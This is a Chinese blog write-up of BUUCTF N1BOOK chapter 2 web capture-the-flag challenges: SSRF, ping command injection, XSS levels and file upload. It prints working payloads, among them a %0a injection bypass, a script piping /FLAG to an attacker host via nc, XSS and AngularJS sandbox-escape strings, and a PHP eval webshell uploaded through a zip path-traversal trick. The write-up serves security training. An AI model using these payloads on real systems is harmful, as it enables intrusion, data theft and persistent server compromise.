[CTF夺旗赛] BUUCTF N1BOOK 第二章 web进阶

2024-08-23 20:12

本文主要是介绍[CTF夺旗赛] BUUCTF N1BOOK 第二章 web进阶,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 前言
    • [第二章 web进阶]SSRF Training
    • [第二章 web进阶]死亡ping命令
    • [第二章 web进阶]XSS闯关
    • [第二章 web进阶]文件上传

前言

CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。

BUUCTF是一个很好的CTF训练平台,这里介绍的是N1BOOK部分的第二章,后续会陆续更新
BUUCTF网址:https://buuoj.cn/
在这里插入图片描述

[第二章 web进阶]SSRF Training

1.首先,我们打开首页,发现提示这是一个SSRF漏洞,所以我们想到的就是URL构造。我们看到首页上有一个intersting challenge,可以进行代码审计,这里flag应该在flag.php中。

在这里插入图片描述

2.这里我们先点开intersting challenge,我们进行一下代码审计。

 <?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ //正则匹配,判断返回的url值是0次(不匹配)或是1$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } //主机名hostname$hostname=$url_parse['host'];//通过域名获取IP地址$ip=gethostbyname($hostname); //将IPv4的地址转换成int(以小数点分隔)$int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} function safe_request_url($url) 
{ if (check_inner_ip($url)) { echo $url.' is inner ip'; } else {//初始化cURL会话$ch = curl_init();//设置请求选项curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0);//执行会话$output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } //释放会话curl_close($ch);var_dump($output); } } $url = $_GET['url']; 
if(!empty($url)){ safe_request_url($url); 
} ?> 

代码审计:

  1. check_inner_ip 函数

    • 这个函数接收一个 URL,并首先验证其格式是否正确。
    • 然后,它解析 URL,提取主机名,并将主机名解析为 IP 地址。
    • 该函数将 IP 地址转换为长整型,并检查是否属于常见的内网 IP 地址段(127.0.0.0, 10.0.0.0, 172.16.0.0, 192.168.0.0)。
  2. safe_request_url 函数

    • 这个函数使用 check_inner_ip 函数来检查 URL 是否为内网 IP 地址。
    • 如果是内网 IP,它会输出一个消息;否则,使用 cURL 执行请求。
    • 如果 URL 有重定向,会递归调用 safe_request_url 函数来处理重定向的 URL。
    • 最后,输出请求的结果。
  3. 主程序

    • $_GET 请求中获取 URL,并在非空时调用 safe_request_url

3.使用POST传参,点开F12,在HackBar进行Post传参url=http://127.0.0.1/flag.php,得到flag(n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

在这里插入图片描述

[第二章 web进阶]死亡ping命令

1.首先,打开首页我们发现这里有一个ping命令输入框,那么是否可以在这里输入其他命令呢?

在这里插入图片描述

2.我们输入127.0.0.1&dir,发现报错,显示存在恶意字符。
在这里插入图片描述

3.使用burpsuite进行抓包,进行扫描测试,我们这里使用的字符字典:

"~","!","@","#","$","%","^","&","*","(",")","-","_","\\","[","]"," ' ","%0a","%0b","%0c","%0d"

在这里插入图片描述

在这里插入图片描述

4.我们来测试一下%0a是否可以绕过,我们发送一个包,显示ping成功,说明可以绕过。

在这里插入图片描述

5.因为是没有回显的,所以使用反弹shell,在kali上开启nc监听。首先我们需要一个有公网ip的攻击机。这里我们没有,所以我们再开一个小号

编写1.sh:

ls
cat /FLAG | nc 攻击机ip port

由于现在buu上没有内网机,所以就不过多赘述了。

[第二章 web进阶]XSS闯关

1.起到靶机后打开主页,看到了有三个选项:使用说明、点我开始和重置游戏。使用说明获得提示。

在这里插入图片描述

2.点我开始进入第一关。第一关查看一下源码,我们发现并没有做任何的过滤,所以我们是可以直接注入的(?username=<script>alert('xss')</script>)。

_alert = alert;
alert = function(info){_alert("过关成功!进入下一关!");var current_level = location.pathname.match(/level([0-9]+)/)[1];var next_level = parseInt(current_level) + 1;location.href = "/level" + next_level;
}

在这里插入图片描述

3.进入第二关,我们首先尝试上一次的注入,发现并没有回显,查看源代码,发现username被escape隐藏加密了。所以我们就需要绕过这个过滤。我们这里使用的是闭合绕过(?username=1';alert(1);'1)。

<script type="text/javascript">if(location.search == ""){location.search = "?username=xss"}var username = '<script>alert('xss')</script>';document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>

在这里插入图片描述

4.进入第三关,使用上一关的注入方法,发现没有回显,查看源代码,根据代码可知,单引号被转义了,所以我们再加一个单引号,构造成?username='';alert(1);'1

<script type="text/javascript">if(location.search == ""){location.search = "?username=xss"}var username = '?username=1\';alert(1);'1';document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>

在这里插入图片描述

5.进入第四关,使用上一关的方法注入,发现回显的是一个xx秒后跳转,查看源代码,设置了一个倒计时,当倒计时结束后会重定向到指定的链接,链接url通过getQueryVariable( )来获取,将其转义后输出到页面中。所以我们需要来构造这个url,并在url中注入(jumpUrl=javascript:alert(1)),注入成功10秒后就会跳转。

<script type="text/javascript">var time = 10;var jumpUrl;if(getQueryVariable('jumpUrl') == false){jumpUrl = location.href;}else{jumpUrl = getQueryVariable('jumpUrl');}setTimeout(jump,1000,time);function jump(time){if(time == 0){location.href = jumpUrl;}else{time = time - 1 ;document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;setTimeout(jump,1000,time);}}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}
</script>

在这里插入图片描述

6.进入第五关,我们发现这里有一个表单提交。查看源代码,我们发现我们如果想要成功注入,需要绕过getQueryVariable( )这个函数,所以我们就需要来构造使他执行绕过,我们分析代码,构造?autosubmit=true&action=javascript:alert(1)

<script type="text/javascript">if(getQueryVariable('autosubmit') !== false){var autoForm = document.getElementById('autoForm');autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');autoForm.submit();}else{}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}
</script>

在这里插入图片描述

7.进入第六关,这也是XSS挑战的最后一关!前面的方法肯定是用不了了,我们注入一下来测试,方便我们看出问题,这里我们注入<script>alert('xss')</script>,发现直接就显示在上面了。

在这里插入图片描述

我们来看一下源代码,看看是个什么玩意。

<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

我们发现了这一行,这个使用的是angular.js/1.4.6/angular.min.js,我们去网页上搜索一下,看看这个js有什么xss漏洞,我们确定了这是一个模板注入,根据找到的资料,构造为?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}。我们成功获取到了flag(n1book{xss_is_so_interesting})。

在这里插入图片描述

[第二章 web进阶]文件上传

1.首先,我们点开首页,发现是一个文件上传页面,这时候我们就想到上传个一句话木马用蚁剑来连接。我们先上传一个一句话木马来试试水。
在这里插入图片描述

在这里插入图片描述

2.上传后发现报错,查看源代码,看看问题出在哪里。

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');if(!$_FILES){echo '<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta http-equiv="X-UA-Compatible" content="ie=edge" /><title>文件上传章节练习题</title><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"><style type="text/css">.login-box{margin-top: 100px;height: 500px;border: 1px solid #000;}body{background: white;}.btn1{width: 200px;}.d1{display: block;height: 400px;}</style>
</head>
<body><div class="container"><div class="login-box col-md-12"><form class="form-horizontal" method="post" enctype="multipart/form-data" ><h1>文件上传章节练习题</h1><hr /><div class="form-group"><label class="col-sm-2 control-label">选择文件:</label><div class="input-group col-sm-10"><div ><label for=""><input type="file" name="file" /></label></div></div></div><div class="col-sm-8  text-right"><input type="submit" class="btn btn-success text-right btn1" /></div></form></div></div>
</body>
</html>
';show_source(__FILE__);
}else{$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");}$name = $file['name'];$dir = 'upload/';$ext = strtolower(substr(strrchr($name, '.'), 1));$path = $dir.$name;function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}}if(!is_dir($dir)){mkdir($dir);}$temp_dir = $dir.md5(time(). rand(1000,9999));if(!is_dir($temp_dir)){mkdir($temp_dir);}if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}}else{exit('仅允许上传zip、jpg、gif、png文件!');}
}

接着我们来分析代码:

1) 处理文件上传

$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");
}
$name = $file['name'];
  • 代码首先从 $_FILES 数组中获取上传的文件,并检查是否存在文件。如果文件不存在,会提示“请勿上传空文件”并终止脚本。

2)设定上传目录和文件扩展名

$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
  • dir 变量指定了上传文件的目录(upload/)。
  • ext 提取了文件的扩展名,并将其转换为小写。

3)目录检查函数 check_dir

function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}
}
  • 该函数递归遍历指定目录及其子目录,删除所有非 jpggifpng 格式的文件。此函数的目的是确保上传目录中只保留允许的图片文件。

4)检查并创建目录

if(!is_dir($dir)){mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){mkdir($temp_dir);
}
  • 代码检查是否存在上传目录 upload/,如果不存在则创建之。
  • 然后,创建一个临时目录,用于保存解压后的文件。这个临时目录的名称是通过 md5(time(). rand(1000,9999)) 生成的,以确保唯一性。

5)文件类型检查与处理

if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}
}else{exit('仅允许上传zip、jpg、gif、png文件!');
}
  • 代码允许上传 zipjpggifpng 文件。
  • 如果上传的文件是 zip 压缩包,首先会检查压缩包内是否包含 .php 文件,如果有则终止操作并输出错误信息。
  • 解压文件到临时目录后,调用 check_dir 函数清理不符合要求的文件。
  • 如果是 jpggifpng 文件,则直接将文件移动到临时目录并调用 check_dir 函数进行检查。

所以我们要想绕过这些限制条件,就要一步一步来,首先,我们需要先来绕过白名单,也就是文件类型的限制条件,之后,除了.zip文件,其他的三种文件被move_uploaded_file,所以我们应该以zip文件的方式上传木马。接着,假如我们上传的是zip压缩包,会检查里面是否包含php文件,如果有会终止操作。所以我们就要进行绕过。

3.分析完代码,我们来看一下这个网站的相关信息,访问/upload页面,我们发现他使用的是Apache2.4.7, 这时我们就应该想到Apache多后缀名解析漏洞,也就是多后缀名文件会从最右后缀开始识别,如果后缀不存在对应的MIME type或handler,就会往左进行识别,一直识别到匹配为止。这也就是我们进行绕过的原理,我们可以来创建一个一句话木马,叫做yjh.php.aaa,这样使在绕过黑名单后,利用Apache的解析漏洞最终解析为.php文件进行执行。下面是一句话木马。

<?php
@eval($_REQUEST[777]);
?>

4.编写好木马后将木马进行压缩,我们发现可以传上去,但是访问不了,后来发现还是我们文件名的问题,文件名应设为/../../yjh.php.aaa,可是这样我们是命名不了的,所以需要对文件进行修改,这里使用010 Editor修改十六进制,我们先将文件命名为1111111yjh.php.aaa,然后将它放到010 Editor中修改。

在这里插入图片描述

5.修改后的文件进行上传,显示上传成功。

在这里插入图片描述

6.我们访问我们的文件yjh.php.aaa,显示出flag(n1book{ThisIsUpLoadToPicfl4g}

在这里插入图片描述

这篇关于[CTF夺旗赛] BUUCTF N1BOOK 第二章 web进阶的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1100384

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

Java进阶13讲__第12讲_1/2

多线程、线程池 1.  线程概念 1.1  什么是线程 1.2  线程的好处 2.   创建线程的三种方式 注意事项 2.1  继承Thread类 2.1.1 认识  2.1.2  编码实现  package cn.hdc.oop10.Thread;import org.slf4j.Logger;import org.slf4j.LoggerFactory

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

[MySQL表的增删改查-进阶]

🌈个人主页:努力学编程’ ⛅个人推荐: c语言从初阶到进阶 JavaEE详解 数据结构 ⚡学好数据结构,刷题刻不容缓:点击一起刷题 🌙心灵鸡汤:总有人要赢,为什么不能是我呢 💻💻💻数据库约束 🔭🔭🔭约束类型 not null: 指示某列不能存储 NULL 值unique: 保证某列的每行必须有唯一的值default: 规定没有给列赋值时的默认值.primary key:

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【Linux 从基础到进阶】Ansible自动化运维工具使用

Ansible自动化运维工具使用 Ansible 是一款开源的自动化运维工具,采用无代理架构(agentless),基于 SSH 连接进行管理,具有简单易用、灵活强大、可扩展性高等特点。它广泛用于服务器管理、应用部署、配置管理等任务。本文将介绍 Ansible 的安装、基本使用方法及一些实际运维场景中的应用,旨在帮助运维人员快速上手并熟练运用 Ansible。 1. Ansible的核心概念

Flutter 进阶:绘制加载动画

绘制加载动画:由小圆组成的大圆 1. 定义 LoadingScreen 类2. 实现 _LoadingScreenState 类3. 定义 LoadingPainter 类4. 总结 实现加载动画 我们需要定义两个类:LoadingScreen 和 LoadingPainter。LoadingScreen 负责控制动画的状态,而 LoadingPainter 则负责绘制动画。

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

从0到1,AI我来了- (7)AI应用-ComfyUI-II(进阶)

上篇comfyUI 入门 ,了解了TA是个啥,这篇,我们通过ComfyUI 及其相关Lora 模型,生成一些更惊艳的图片。这篇主要了解这些内容:         1、哪里获取模型?         2、实践如何画一个美女?         3、附录:               1)相关SD(稳定扩散模型的组成部分)               2)模型放置目录(重要)